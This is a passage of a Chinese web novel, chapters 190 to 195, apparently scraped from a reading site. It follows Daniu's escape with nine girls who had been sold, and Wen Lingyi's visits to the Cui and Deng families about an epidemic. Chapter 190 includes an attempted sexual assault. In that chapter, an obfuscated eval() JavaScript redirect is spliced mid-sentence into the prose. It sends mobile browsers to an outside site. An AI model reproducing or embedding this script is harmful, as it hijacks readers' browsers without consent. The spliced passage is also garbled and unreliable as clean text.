“作甚?”大牛伸出手一把抓住了叶染秋的脖子,大手用力,刺啦一声撕开了叶染秋的衣服,扬起手把人扔到床上,恶虎一般扑了过去…… 第190章 大牛逃走了 叶染秋惊恐的看着大牛扑上来的样子,尖叫着要踹开大牛。 “你找死!”大牛怒吼着压下身子,她杀了春香,还要杀二牛,这个蛇蝎女人害了很多年轻的姑娘,她该死! 大牛满脑子都是这三个字,怎么也没想到这时候有个人蹿了进来,那人用胳膊粗的木棍铆足了力气砸在大牛的头上。 大牛感觉到头上有凉凉的东西淌了下来,抬起手抹了一把,满手鲜血。 回头去看打自己的人,竟是村长的儿子程子谦,程子谦握紧木棍的手在颤抖:“你、你以下犯上大逆不道,还不走?” 大牛看了眼叶染秋,转身往外走。 程子谦背转过身:“叶夫人,父亲已经把那些姑娘家的人找来了,请您过去。” 没等到叶染秋的应声,只听到了硬硬的哭声,程子谦只能回头,就见叶染秋衣服被撕烂了,露出了雪白的肌肤,上半身几乎没什么遮挡,两只手捂着脸的她哭得伤心欲绝。 下意识的吞了吞口水,程子谦只能去橱子里找一件衣裳给叶染秋,捧着衣裳到床边:“叶夫人。” “哎……叶夫人!”程子谦惊得不敢动弹,身体僵硬的他低下头,看着扑到自己怀里的叶染秋,连声说:“叶夫人,叶夫人快起开。” “程公子,奴家活不成了,也不活了,对不起我京城的亲人,对不起祖父,我本想着赚了盘缠回去寻亲,可这恶奴竟不肯放过我啊。”叶染秋哭得可怜。 程子谦本就觉得这位叶夫人和大牛像是主仆,如今听到这话已然相信了:“叶夫人若是愿意,在下可以带着你去报官。” 叶染秋赶紧摇头,哭得梨花带雨,抬头看程子谦:“我父本是国子监司业,我祖父是御史大夫,我的外祖父是尚书左仆射,可奈何我被这恶奴算计,从京城掳走我后,带着我到处逃窜,呜呜呜……” 程子谦脑瓜子嗡嗡叫,国子监司业!御史大夫!尚书左仆射! 自己这是遇到了什么人家的姑娘啊! 低头看叶染秋这幅样子,一个大胆的想法从心里升起,他轻轻地落下手臂,语气温柔:“叶小姐原来有如此遭遇,不必怕,我进京赴考,送叶小姐回家。” “真的?”叶染秋双目含泪。 程子谦点头,身体前倾,缓缓地放下了叶染秋:“我爱慕叶小姐已久,如今我们有了肌肤之亲,我会娶你为妻。” 叶染秋心里别提多畅快了,这就是命!自己的命就是好!只要程子谦高中,未必非要是状元,只要得了个官身就行…… 他们在屋子里一拍即合,大牛在后院把四个婆子都捆了个结结实实,用斧子劈开房门,让这些姑娘逃命去:“不要回家,你们的家人存心要卖掉你们,千万不要回家。” 大牛留下这么一句话,摇摇晃晃的走了。 听到叶染秋的声音就知道他们在做啥,大牛只觉得恶心,悄悄进屋斧子握在手里,断喝一声:“今儿老子要带走所有银子,叶染秋!你好自为之。” 程子谦被吓得身体抽搐,头一遭经历这男女之事,大牛这一嗓子简直要了他的命,叶染秋咬牙切齿的扶着程子谦,眼看着大牛把钱匣子揣在怀里扬长而去,恨不得撕碎了他才解恨,只是现在自己动弹不得。 大牛没管屋子里的两个人,取了钱匣子出门,茫然的不知道往哪里去。 “大牛哥,我们跟着你,你带着我们走吧。”小姑娘颤巍巍的走过来,怯生生的看着大牛。 大牛定睛一看,九个姑娘竟都在这里。 “罢了,我带你们走。”大牛看透了这些卖女儿的人家都是什么心思,也知道这些姑娘回去只会遭到毒打,最终还是会被卖掉,带走,带去哪里不知道,反正要离开这里。 漆黑的夜,大牛带着九个姑娘往大王庄来,大王庄有码头,可以乘船去河对岸,只要离这些人远点儿,这几个姑娘就安全了。 ***温令仪压了压额角:“他们到哪里了?” 谭庸回道:“那些姑娘都是穷苦人家的孩子,脚程不慢,再有一个时辰就能到大王庄。” 温令仪想了想,起身:“走吧,我们去迎一迎。” “夫人,只怕这些事情沾染上,会惹麻烦。”谭庸说。 温令仪当然知道,可大牛可不可靠不说,这些姑娘能逃出来不容易,若没人搭救很快就会被抓回去的,权当行善积德了,自己手底下也需要人手。 “无妨。”温令仪已经往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845062|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门口去了。 谭庸跟上来,外面准备了马车往大牛和姑娘们来得方向迎过去。 大牛走不动了,不是体力不行,而是茶里的药越发的让他控制不住自己了。 他跪坐在地上,从怀里摸出来匣子,取出来碎银子:“这些给你们防身,你们逃命去吧。” “大牛哥,后面有人追上来了。”小姑娘指着临江村的方向,那边有很多火把了,像是火龙一般。 大牛回头看了眼,咬牙:“这些个畜生!” 姑娘们被吓得瑟瑟发抖,大牛硬撑着带她们往前跑。 一辆马车疾驰而来,温令仪也看到了后面追他们的人,让谭庸停下马车,撩起帘子:“大牛,让姑娘们上车。” 大牛猛地听到温令仪的声音,下意识的跪在地上,抬头见来人真的是温令仪:“夫人,这些姑娘若是被抓回去就没活路了,叶染秋把这些姑娘都卖进了楼子里。” “上车,回去再说。”温令仪说。 大牛赶紧说:“这是国公府的掌家夫人,是大好人,你们几个快上车逃命。” 这些姑娘们都上了马车,温令仪扔给大牛一个瓷瓶:“解药,上车一起走。” 大牛恨不得把一瓶子药都灌进去,跟在马车后面跑,这样还能让散一散力气,一行人到了大王庄,温令仪让谭庸先把大牛和这些姑娘们送到船上,她回去跟江家媳妇辞别,带上了碧桃出门,登船离开。 大牛跪坐在地上,不知道说什么才好,在秦国公府里的时候见过夫人两回,其中一次就是给春香收殓。 他该是多糊涂啊,害**春香,也害了自己。 温令仪轻轻地叹了口气:“你二弟在铺子里学了账房,如今略有所成,你虽然和叶染秋之间污糟事不少,可跟我没什么关系,我也不会追究,如今能救这几个姑娘逃离火坑算是个善良人,你想要往哪里去,尽可说。” 大牛不敢抬头:“夫人,我愿意跟在夫人身边,当牛做马也心甘情愿,只盼着夫人回京的时候能带着我,我想要见一见二弟。” 温令仪点头:“如此也好,下去歇着吧。” 至于叶染秋,自己腾出手来,自然会送她去该去的地方的。 第191章 崔家竟然有人精通奇门遁甲啊! 温令仪登船离开往江南府。 天蒙蒙亮的时候,船到河中,温令仪走出船舱看着旭日东升,碧桃陪在身边一起眺望东方。 “碧桃,你最先过什么样子的生活?”温令仪问。 碧桃想都没想:“当然是跟在您身边啊,一直陪着夫人,不管夫人去哪里,碧桃都会在您左右。” 温令仪勾起唇角笑了笑,没言语。 她知道很快西凉的大军就会破雁门关攻打进来,到那个时候战火纷飞,大夏百姓必定还要经历一场浩劫,明知如此却又万分期待,只因大夏处处民不聊生,朝廷的好大喜功和不作为是百姓无穷无尽的苦难,别说战争了,就是一个时疫,朝廷都不能独自应对,是没有这个本事吗?当然不是!而是朝廷没有英明的决策,才会导致下面的人群龙无首。 这样的大夏有什么用?即便没有裴祈安,那还有萧玄策,用小囡囡的话说,萧玄策会让这里的百姓永远低西域人一等,成为奴隶。 而这一切,因为有裴祈安才不会发生,所以说啊,这世上从来都没有什么对错,更没有非黑即白,若非要把报仇披上光鲜亮丽的外衣,显然裴祈安为这片土地上的百姓守住做人的尊严,算是很光鲜了。 看透了,也就觉得无趣了。 她想要等尘埃落定时,找到大梁的宝藏,把这些宝藏用于百姓,不管是以何种方式,都要还给这些最穷苦的人,哪怕杯水车薪,自己不贪不恋就对得起良心,而她会回去药王谷,在那边过恬静的日子,远离所有是是非非,如此就知足了。 太阳跃出云层,光芒万丈却柔和,温令仪微微的眯起眼睛,喜欢这江面和云海成一色的美景。 “夫人,那些姑娘要怎么安排?”碧桃很关心这几个可怜的姑娘,她当年也是被家里人卖掉的,若非进了镇国公府,若非遇到了夫人,她都不知道自己会变成什么样子,为奴为婢有几个像自己这么好运气的呢?别人不说,春香死的凄惨,自己亲眼所见。 大户人家的后院,死几个奴婢简直太寻常了。 温令仪收回目光:“暂时带到江南府,等办完事后再想法子安置她们。” 其实,温令仪最开始想要把这几个姑娘送到衙门去帮忙的,熬药也好,挑拣药材也好,终究是有事可做,可强龙难压地头蛇,泾河府的府尹不是善类,恐节外生枝。 再者大牛带走了这些姑娘们,叶染秋必定会把所有的错推卸个一干二净,这些姑娘留在泾河府是不会安生的。 船在下半晌就靠岸了。 尽管温令仪没露面,可船刚靠岸就有人在岸边接应。 “小人是漕帮帮主身边的人,我们帮主得了消息特地差遣小人过来接应,夫人请跟小人往安排好的宅院安顿。”乔大有自报家门。 温令仪点了点头,带着大牛和姑娘们上了漕帮安排好的马车。 江南府距码头有十里路远,跟泾河府比起来,江南府要更大一些,街道两边也比泾河府繁华。 温令仪特地观察了街上百姓,这些人容色淡然,显然还没有时疫困扰,或者说没意识到时疫就在身边。 白长鹤早早的等在了门口,见到温令仪身后跟着十几个人,暗暗咂舌,有些不知道温令仪带这么多人是什么意思,看那些年纪轻轻的小姑娘,穿着补丁摞着补丁的衣裤,容色慌张,心思无定的模样,心里更是狐疑。 “夫人,请。”白长鹤请温令仪入内。 温令仪福礼:“有劳白帮主了。” “应该的,夫人在泾水河两岸,任何事情只需要言语一声,白某必定竭尽所能。”白长鹤说得是真心话。 温令仪入内,低声吩咐碧桃安顿好几个小姑娘,落座后才和白长鹤说:“我此番来江南府是有两件事要办。” “夫人,请吩咐。”白长鹤说。 温令仪摇头:“并不需要白帮主抛头露面,这第一件事是时疫,泾河府那边越发严重,朝廷派遣太医到了泾河府,一河之隔的江南府恐也有时疫之忧。” “夫人所言极是,白某已经听说了,江南府衙门那边已陆续开始把发病的人接到了衙门里救治,只不过百姓知之甚少。”白长鹤说到这里顿了一下,才说:“应是有人给江南府府尹递消息了。” 温令仪不觉得意外,官场嘛,人脉关系好的人总是会仕途顺遂,背地里传递消息,步步为营,背地里可用了不少心思,只不过寻常人不知情罢了。 “还有一件事,我想要拜访邓家。”温令仪说。 白长鹤面露难色:“这个……怕是有些难。” “我来之前就知道邓家闭门谢客多年,所以想要先去拜访崔老夫人,只不过对崔家知之甚少,不知道白帮主可了解崔家?”温令仪问。 白长鹤知道温令仪是提前就有准备了,自是知无不言,言无不尽。 原来,崔家在前朝时候曾出过二品大员,随着大梁朝廷的倾倒,崔家人就回到了原籍,也就是江南府下面的一个叫莲花村的小村里住下来了。 躬耕之家,声名不显,但家境殷实,家风清正,在江南府也算望族。 莲花村都是崔家人,没有外姓,又因处处与人为善,从不与外人结怨,以至于附近的百姓都极少往莲花村去,莲花村里的人也少见出门走动。 温令仪微微挑眉:“难道官府也进不去莲花村?” “这就是崔家人的厉害之处,三任知府都不曾提起过莲花村,赋税之类的事更像是把莲花村忘记了似的。”白长鹤说。 温令仪还真挺佩服崔家人的,就在这江南府能自成一片天地,那可不是寻常人能做到的。 白长鹤捋着胡须:“倒是听说前几日纪家派人登门拜访崔老爷了,但吃了闭门羹。” “原来如此。”温令仪早就想过纪家会挺不住的,只不过纪家的动作还是太小了,显然是要趋吉避凶,不到万不得已,不想出头。 温令仪再次致谢白长鹤的照拂之情,白长鹤告辞离开。 翌日。 温令仪只带了碧桃,谭庸赶车,准备了登门礼往莲花村来。 莲花村在毓秀山中,颇有些世外桃源的意味,进毓秀山的路只有一条,温令仪看着沿途的风景,赞不绝口,这里虽比落霞山中的药王谷少了几分气势,可贵在山清水秀,确实是避世而居的好地方。 “夫人,前面竹林拦住了去路。”谭庸说。 温令仪撩起帘子往前看,眼前一亮,崔家竟然有人精通奇门遁甲啊! 第192章 咱们夫人不会吃亏吧? 竹林断掉了进山的路。 但明眼人都能看得出来这条路是必定能进莲花村的,之所以竹林拦路,这其实是崔家的态度,不想待客。 “马车停在旁边吧。”温令仪说。 谭庸扫了眼停在不远处的马车:“夫人,还有人比我们先到的。” “是纪家人,不用理会。”温令仪说。 马车停在了左边,纪家的马车停在了右边。 温令仪没有下马车,打量了一眼纪家的马车,马车很豪华,在马车旁边站着个十五六岁的姑娘和一个十七八岁的少年,二人衣着华丽,面色焦急,低声似乎在说着什么。 “夫人,属下先登门送拜帖。”谭庸说。 温令仪摇头:“硬闯不合礼数,想必我们刚进山,崔家就得到消息了,你只管到竹林外如此这般说。” 谭庸领命,阔步走到竹林前,抱拳:“在下奉命护送镇国公府二小姐温令仪登门拜见崔老夫人,请兄台通禀一声,泾河府时疫又起,百姓苦难不断,但独木难支,唯有众志成城才能护百姓安稳度过这次劫难。” 话音落下,谭庸转身往回走。 温令仪看到纪家二人都看向了自己的马车。 嘴角勾起一抹笑意,闭目养神。 碧桃守在马车外面,谭庸看着天色尽午时了,默不作声的往旁边的林子里去了。 “在下纪家第三代嫡长子纪长歌,携小妹纪长乐拜见晏夫人。”纪长歌走过来拱手一礼,说道。 温令仪缓缓的睁开眼睛,淡淡的说:“纪公子,我们并无交情。” “并非在下攀援,而是恰巧都要拜访崔家,想要和晏夫人结伴而行,晏夫人为天下百姓,刚好纪家也是为此而来,虽殊途但同归。”纪长歌说。 温令仪撩起帘子,带着浅浅的笑意:“可崔家并不想要见纪公子,不然也不会闭门不开了。” “你就觉得崔家会见你们吗?”纪长乐来了火气,冷声回了一句。 温令仪看向了纪长乐,容貌艳丽的姑娘,只是一双杏核眼里像是有两团火苗在燃烧似的,一看就是个脾气大的,微微颔首:“倒也没这么觉得,只是总要试一试,纪小姐都能如此执拗,被拒绝还不肯离开,我不过才到而已,等一等又何妨呢?” “你!”纪长乐还要说话。 纪长歌脸色一沉,吓得纪长乐后退半步,不敢再还嘴了。 “叨扰了。”纪长歌拱手一礼转身离开。 纪长乐跟着兄长离开,回头看温令仪的眼神像是淬了毒一般。 温令仪倒是觉得有趣儿,显然纪家早就知道宋家在把生意南迁,也知道宋家仰仗的便是镇国公府,就连一个小姑娘都对自己有如此恨意,显然纪家知道的不少,也没有瞒着纪长乐。 有意思,自己这是头一遭见到纪家人,不得不说纪家的底蕴还是很好的,至少在纪长歌身上可以看出些许端倪。 谭庸回来的时候带了两只野鸡,就在不远处用匕首处理干净,起了火烤野鸡。 碧桃都佩服这些人了,出门在外竟然会带着盐,心里暗暗拿定主意,以后跟着夫人到处走,也要带一些盐巴在身上,以备不时之需。 对面马车里,纪长乐噘着嘴:“兄长,凭什么崔家毁约?是怪我们没有长辈同来吗?” “并非如此,崔家是想要自保。”纪长歌负手而立站在马车旁边:“我们贸然登门确实失礼在前,再者你明年才及笄,真要提起婚事也是及笄后的事。” 若非纪家如今有了被困之相,纪家长辈也不会让自己带着小妹登门崔家,若真到了断臂求生的时候,确实只有崔家才能助一臂之力。 可兄妹二人被拒之门外,显然崔家非但了解时局,更可能知道许多纪家都不知道的关窍所在,朝廷虽没登门崔家,可这个温令仪的身份就十分微妙了,如今崔家见不见他们都不重要了,纪长歌倒要看看崔家会不会见温令仪。 香喷喷的烤鸡送到了碧桃手中。 碧桃撩起帘子进了马车里,准备给温令仪尝一尝,这一口鸡肉还没来得及吃到嘴里,就听到竹林扑簌簌的响了,像是风入竹林似的。 温令仪低声:“崔家人出来了,就是不知道是接谁的。” 话音刚落,就听有人说话:“温二小姐登门,崔家失礼在前,哪里能让温二小姐再如此用膳呢。” 碧桃下了马车,搀扶温令仪下了马车。 温令仪抬头看着对面走过来的中年男子,年约四十开外,一身粗布衣衫,古铜色的皮肤,脚上穿着草鞋,若是在外面遇到只会觉得这是个农夫,但一双眼睛黑白分明,鼻直口方气势不弱。 “冒昧登门,失礼的是晚辈。”温令仪郑重其事行礼。 来人还礼:“在下崔振,奉母亲之命迎温二小姐入内,请。” “崔伯父受累了。”温令仪迈步往前,看了眼谭庸。 谭庸心领神会,拦住了要跟上的碧桃。 “你干什么啊?夫人一个人进去怎么行?还有礼物呢。”碧桃急了,小声说。 谭庸低声:“夫人不准我们跟着,礼物不着急,只管等着。” 碧桃有些蒙了,看看越走越远的温令仪,再看谭庸。 “若需要,小小竹林拦不住我,你只管等着,别坏事。”谭庸说。 碧桃只能回到马车里,看着香喷喷的烤鸡,上去就咬了一大口,怎么自己就坏事了?小姐出门身边带着个丫环多寻常的事啊?怎么到了崔家门口就成了坏事? 还不等碧桃嘀咕完,就听到了纪长乐气呼呼的质问:“崔伯父,我和岭南的婚约还在,为何不让我进去?难道这就是崔家的待客之道?还是说我和岭南的婚事,崔家觉得不妥当?” 崔振容色不动,转过头看了眼纪长乐:“婚事还早,明年再议,你们回去吧。” “回去?”纪长乐几步跑过来:“崔伯父,难道纪家的脸面不是脸面吗?如此对待我们纪家,我看崔家是不看好这门婚事了。” 崔振眉头蹙起:“纪小姐的意思呢?” “当然……” “长乐,休得无礼!”纪长歌适时地走过来,深鞠一躬:“伯父勿怪,长乐在祖母的那边看到了岭南的画像,听说是她的未婚夫,执意要来见一面,是我们太骄纵长乐了,我们这就回去。” 崔振点了点头,迈步往前,陪着温令仪走进了竹林里。 竹林外,纪长乐气得跺脚:“兄长!我们纪家还要被一个小小崔家拿捏吗?真是气死我了!” “你啊,走,回去再说。”纪长歌拉着她坐进马车里,马车拨转马头往山外去。 碧桃啧啧两声:“谭大哥,我看崔家不是好相与的,咱们夫人不会吃亏吧?” 第193章 住在洞天福地的崔家 谭庸并不担心,虽然明着没有人跟进去,那是给崔家面子,夫人登门拜访避世家族不是小事,他早有安排,谁让主子担心夫人不会武功,会吃苦头呢? 只不过看夫人身边的小丫环一个个都被养得太好,颇有些单纯的样子,也就懒得说出口了。 碧桃像是热锅上的蚂蚁一般在竹林外踱步。 谭庸靠在缓坡上闭目养神。 此时的京城依旧是春寒料峭时,但江南却绿树如茵,只是风有些凉,初春的天气愈发明显了,不得不说,若非泾水河每年都会有大小不等的洪水泛滥,这里确实是福地啊。 崔家择山避世,也是为了逃避水患,地势高,总是会安全许多。 拾级而上的温令仪和谭庸的想法如出一辙,走过竹林后,确实如同进了世外桃源一般,拾级而上的青石台阶非常宽阔平稳,两边依着山势建造的梯田里,翠绿的瓜果藤蔓,金黄的稻穗和红彤彤的红粮,这哪里是山?分明是取之不尽的粮仓。 崔振陪在温令仪身侧,见温令仪眼底都是惊喜之策,开口说道:“江南之地气候适宜,这里是山腹之地,群山环绕又能挡住寒气,所以这些粮食还没着急收,温二小姐有所不知,这里还有地脉温泉,哪怕就是现在播种一些瓜果和青菜,也能长势良好,不会收到冬日寒冷的影响。” “真是风水宝地啊。”温令仪收回目光看着崔振:“这里面蕴含了崔家的大智慧,能得到庇护,崔家族人是福报极大的。” 崔振笑着摇了摇头:“利弊都有,如今的后生们都不想困顿在此,衣食无忧总会养出来不知天高地厚的心思。” “伯父是爱护崔家后人,但生于天地间,但凡不用为温饱发愁,都会有雄心壮志,天下百姓苦难不觉,唯有能为天地立心的人,才会有悲悯心,想要为这些寻常百姓谋求个安稳。”温令仪说:“泾水河水患的余威是时疫,春日开始时,时疫会反扑,泾河府那边已经很严重了。” 崔振没接茬儿。 温令仪也没继续说。 其实崔振已经透露出来崔家的想法了,这就足够了,至于崔家什么时候出山,谁请崔家人出山,温令仪认为自己的份量还是不够的,也不合时宜。 半山腰,崔家的宅院就在这里,这里是个很大的缓坡,还有新开凿的痕迹,看来这是一代又一代人努力的结果。 虽然占地很大,但并不会给人气势磅礴的压迫感,更像是精致的村落,如出一辙的石头房屋,门前的石桌石凳,院子两边的绿树红花,闲适的崔家族人三五成群,或是织布绣花,或是编筐做笼,还能听到铁匠打铁的声音,不疾不徐,声音悠长。 不见鸡鸣狗叫,远处有桑麻,孩童背着小书包从学塾回来,排着队,背诵千字文的声音抑扬顿挫。 温令仪发现自己只是站在村头,心情都宁静下来了,这份闲适的美好只怕很多人连想都不敢想,特别是那些争名逐利的人。 崔振立在温令仪旁边:“崔家不问世事,但耕读传家的祖训是被所有崔家后人恪守的家规。” “真是羡煞旁人。”温令仪由衷的说。 崔振笑了:“请。” 温令仪走进来村口的一户人家,门口并不特别,也无小厮守门,从大门进来,迎面是五开间的青石瓦房,两边耳房,东西厢房,回廊的屋檐下挂着风铃,风过有清脆的叮咚声,院子里种着一颗石榴树,还有一颗桂花树,花圃里种着的花草都是精心排布过的。 崔振带路到明堂外,恭敬地立在门外:“母亲,温家二小姐到了。” “快请进。” 屋子里传来的声音透着慈祥。 两个中年妇人从屋子里出来,给温令仪行礼:“贵客远道而来,母亲恭候多时,请。” 温令仪还礼后迈步进了屋。 屋子里的家具摆设透着古朴,头发花白的老夫人坐在椅子上,眉眼确实慈祥,打量着温令仪,嘴角还带着浅浅的笑意。 “累了吧?秀云啊,去做点儿饭菜招待贵客。”崔老夫人说着,请温令仪落座。 温令仪行礼后坐下来:“沿途风景怡人,并不觉得累,冒昧登门叨扰,您老勿怪。” 崔老夫人摇头:“不碍事,不碍事,温小姐能来必定是有能用得上老身的地方,老身知道温小姐在京城救了很多百姓,此番来到江南府也必定是为了救人。” “正是,老夫人应是知道的,外面时疫愈发严重,朝廷派太医到泾河府,也带来了草药,可对于百姓来说杯水车薪,应付泾河府那边已然吃力,泾水河南岸的江南府怕估计不上,所以我想要请邓家出山,得了沈济生神太医的指点,唯有老夫人从中帮忙,才能见到邓家人。”温令仪笑着说:“我这就厚着脸皮来了。” “哦。”崔老夫人缓缓点头:“原来是这样啊,老身倒是也很久没有登门了。” 温令仪赶紧起身一躬到地:“老夫人大义,令仪替江南府的百姓谢谢您。” 崔老夫人伸出手扶着温令仪:“生于斯长于斯,能做点儿事是应该的,无需温小姐如此大礼,只是今日天色已晚,留宿山中一夜,明日下山去江南府如何?” “如此,令仪也当一回这山里的神仙。”温令仪笑道。 崔老夫人让人给温令仪安排了住处,从角门过去一个整洁的跨院,两个小姑娘被安排过来陪着温令仪,崔家没有仆从,两个姑娘是崔老夫人的孙女。 年长的姐姐叫秀莹,今年十二岁,妹妹叫秀珠,今年十岁。 两个小姑娘十分活泼,围着温令仪问东问西。 温令仪温声细语的给她们讲京城和沿途的风土人情,听得两个小姑娘都入迷了。 崔秀珠拉着温令仪的衣袖:“姐姐,我长兄说泾水河的水患要建堤坝,堵也要疏,沿途开辟水道,引水北上可灌溉大面积农田,我长兄……唔唔……” “你惯会胡说八道,长兄也是胡诌。”崔秀莹松开捂着妹妹嘴的手,低声呵斥。 温令仪勾了勾唇角,怪不得崔振会说后生晚辈总是不知天高地厚,虽然不一定就是因为泾水河一事,但治理水患这是大事,必定是让崔振无奈的根源之一。 “秀莹,我只是会点儿岐黄之术,就算秀珠说了,我也听不懂,再者治理水患是朝廷的事,我们这些草民只能纸上谈兵,说说嘴罢了。”温令仪说。 崔秀莹有些尴尬的笑了笑:“祖父宠惯着长兄,所以长兄总是不知天高地厚的。” “谁家妹妹会在背后编排自己的兄长呢?”崔东昊立在门口,扬声接了话茬儿。 温令仪起身福礼。 崔秀莹头疼的抬起手压了压额角,快步过去:“长兄勿怪,倒也算不得编排,你可真真是不守规矩,温家姐姐是女眷贵客,你来作甚?” 崔东昊低声:“祖父差我来请温小姐去书房。” 温令仪心思一动,这位崔老大人要见自己?难道崔家要现在出山吗? 第194章 朝廷如此不善用人,真是儿戏! 崔东昊在前面带路,温令仪在崔秀莹和崔秀珠的陪同下往正院书房来。 书房里灯火通明,温令仪到了门口停下脚步,崔东昊进去禀报,片刻出来立在门旁:“温小姐,祖父和祖母都在等候,请。” 温令仪微微颔首致谢后,迈步进屋。 包括崔东昊在内的崔家兄妹三人都没有进来的意思,显然在崔家,这催老大人的书房不是谁都能进来的。 入目是博古架,上面摆着的是各种书籍,绕过博古架,眼前的一幕让见多识广的温令仪都暗暗咂舌,镇国公府的藏书就已经很多了,放在京城也少有人及,可跟崔家这偌大的书房和三面墙都是书柜的藏书比起来,真是小巫见大巫了。 迎面放着罗汉床,罗汉床上放着长条案几,案几上有香炉散发着淡淡的香气,是少见的雪中春信,茶具摆在上面,看得出来是临时待客所用,笔墨纸砚放在临东窗的桌案上。 在书房西侧摆放着七张略小的长条案几,每个案几后面摆放着两个蒲团,想必崔老大人会在这里给族中最优秀的子弟亲自讲学。 崔老大人和崔老夫人笑呵呵的迎温令仪。 温令仪行了晚辈礼后,分宾主落座。 崔老夫人亲自斟茶,温令仪赶紧起身接过来茶放在手边。 “如今朝廷千疮百孔,百姓苦不堪言,比当初大梁还不及,真真是让人忧心忡忡啊。”崔老大人看着温令仪:“镇国公如今在漠北,只怕也艰难啊。” 温令仪轻轻地叹了口气:“祖父到漠北后一直都想要为百姓做点儿事,之前在京中听说想要请罗老大人去漠北安民,不知能否成行。” 崔老大人微微蹙眉:“如今镇国公还老骥伏枥啊。” “当其位,谋其事,虽千百种难,可百姓疾苦看在眼里,又怎么能置身事外呢。”温令仪话锋一转:“这并非是为了朝廷。” 崔老大人沉吟片刻,问:“那卫国公的后人,如今可有成算?” “老大人,我一直都在京中,来泾河府是奉旨给百姓治病,早前去了雁门关,并不知道裴祈安如今是否有成算,倒是听说西域三十六国已乱,大夏多义士,江湖中人御敌于国外。”温令仪说。 崔老大人神色有些激动。 崔老夫人伸出手轻轻地拍了拍崔老大人的手背。 崔老大人平静了许多,话锋一转问:“泾河府如今很艰难吗?” 温令仪知道这位老大人关心如今的时局,她便说了自己知道的,提到裴祈安只说当初出使,传回来被伏击的消息,后来便没了消息。 对此,温令仪十分有底,裴祈安如果连自己的行踪都无法隐匿,还说什么谋大事? 崔老大人静静地听完,抚掌:“好!好!这天下从来都需要不破不立!” 温令仪说:“只是如今百姓苦矣,时疫之后只怕还有战祸,西凉这次只怕不会善罢甘休。” “明日下山,老夫也走一遭。”崔老大人说。 温令仪起身行礼致谢。 本可以就此结束,一直在门外的崔东昊沉不住气了:“祖父,孙儿有话想说。” 崔老大人心情极好,让崔东昊进来。 崔东昊进门先给祖父和祖母请安,回头给温令仪行礼后,站在崔老大人身边说:“温小姐,若我有治理泾水河的图纸,可否能落到实处?若能落到实处,百姓可得泾水河的好处,不会再遭受水患之害。” 温令仪郑重其事的说:“崔公子,若你有成算,我倒是可以引荐罗大人给崔公子,回京时,若可成行,倒也容易。” 崔东昊看祖父。 崔老大人摇头:“时机尚不成熟,还是要稳一稳。” 崔东昊知道自己这件事难以成行,不过既然温令仪答应了,自己终究是有了一个方向,只要有机会,早晚自己都会治理好泾水河,让百姓安居乐业,把泾河府和江南府都变成鱼米之乡。 温令仪回到了自己的住所,两个小姑娘没有打扰温令仪休息,姐妹二人住在外间,温令仪这边给安排了温茶和点心。 一夜好眠,温令仪起床后,崔老夫人和崔老大人陪着温令仪用了早饭,三个软轿抬着三个人缓缓下山,这些都是崔家族人,崔振带着儿子崔东昊坐陪。 到了山脚下,温令仪请崔老大人和崔老夫人坐进了马车,但马车虽大,也不能挤挤挨挨的,正心里后悔没有多准备一辆马车,就听到马蹄哒哒的声音传来,谭庸赶着另一辆马车缓缓而来。 两辆马车带着一行人往江南府城来。 城门口,崔老大人递过去令牌,守门的守卫恭恭敬敬的放心。 跟崔家不同,邓家并没有避居城外,而是在江南府城的北城置办了不小的宅院,门口有小厮。 崔老大人递过去拜帖。 显然是昨晚就准备好的,不到一盏茶的工夫,邓家大门敞开,满头白发的邓老爷子亲自迎到门口。 “老弟啊,你可是难得下山一次,快快请。”邓老爷子说。 旁边,邓家长媳给崔老夫人请安后,亲自扶着崔老夫人意图入内。 崔老夫人轻轻地拍了拍邓家长媳的手臂:“好孩子,今日还有一位贵客登门。” “姑母说的是哪位?”邓家媳妇嘴上这么说,眼睛已经看向了温令仪。 温令仪知道邓家如今掌家的是第三代的长媳,也就是邓秀林的长嫂,这位长嫂出身商贾之家,据说十分厉害。 崔老夫人说:“这位是镇国公府的二小姐,师从药王谷天成子门下,如今为了泾水河两岸的百姓登门拜访的。” 邓家媳妇行礼:“原来是朝廷那边来人了,失礼之处多多海涵,请。” 温令仪还礼。 听话听音,温令仪听得出来邓家媳妇的意思,今日若非崔家人登门,自己只怕连邓家的门都进不了。 进门分宾主落座,邓老爷子和崔老大人坐在外间,中间隔了屏风,虽不见面但可闻声。 温令仪坐在崔老夫人的下手边。 丫环奉茶后退下。 崔老夫人眼神安慰温令仪稍安勿躁,屏风那边两位老人在叙旧,邓家媳妇也和崔老夫人说着家常话,温令仪静静地听着。 “温小姐,老爷吩咐请您过去见一面。”小丫环进门,到温令仪跟前说。 温令仪起身给崔老夫人行礼,对邓家媳妇颔首后离开。 屏风这边,邓家老爷子打量着温令仪,问:“听说秦国公的世子叛国,身为秦国公的世子夫人,你怎么会来到江南府呢?朝廷如此不善用人,真是儿戏!” 第195章 入梦 温令仪微微颔首,面上没有多余的表情,听完邓老爷子说话,也只是轻轻地吸了口气:“您老也知道的,当初皇上让开保和堂,我便是秦国公府和镇国公府留在京城的人质。” 这话一出口,邓老爷子的表情就僵了僵,这种话能说出来吗?若是换做旁人是不会说出口的,毕竟交浅言深是大忌。 当然,温令仪登门的目的大家都心知肚明,所以温令仪能说出来,显然也是诚意。 “我生在温家,长在温家,家中教养从来都是为人中正,天下为公,所以就算是晏怀卿叛国而去,我依旧是保和堂的东家,是温家女,依旧把百姓的事放在心上,愿意尽绵薄之力,至于为何来到这里,也是早就有了预判,知道时疫会在开春的时候反扑而来,人命关天不分贵贱,我能多救一人,也是为温家积功德,并无旁的心思。”温令仪抬眸:“您老是杏林中人,自是知道如今江南府和泾河府的百姓多么艰难,而我此次登门,概因无法顾全,需要有道义担当的人出面帮衬。” 邓老爷子听完,看了眼崔老大人。 “淮安啊,你还没看出来吗?这丫头有救人之心,朝廷无救人之能,如今倒是把她扔到这边来了,必定还扣着戴罪立功的帽子呢。”崔老大人说。 邓老爷子蹙眉,转过头看温令仪:“是这样?” 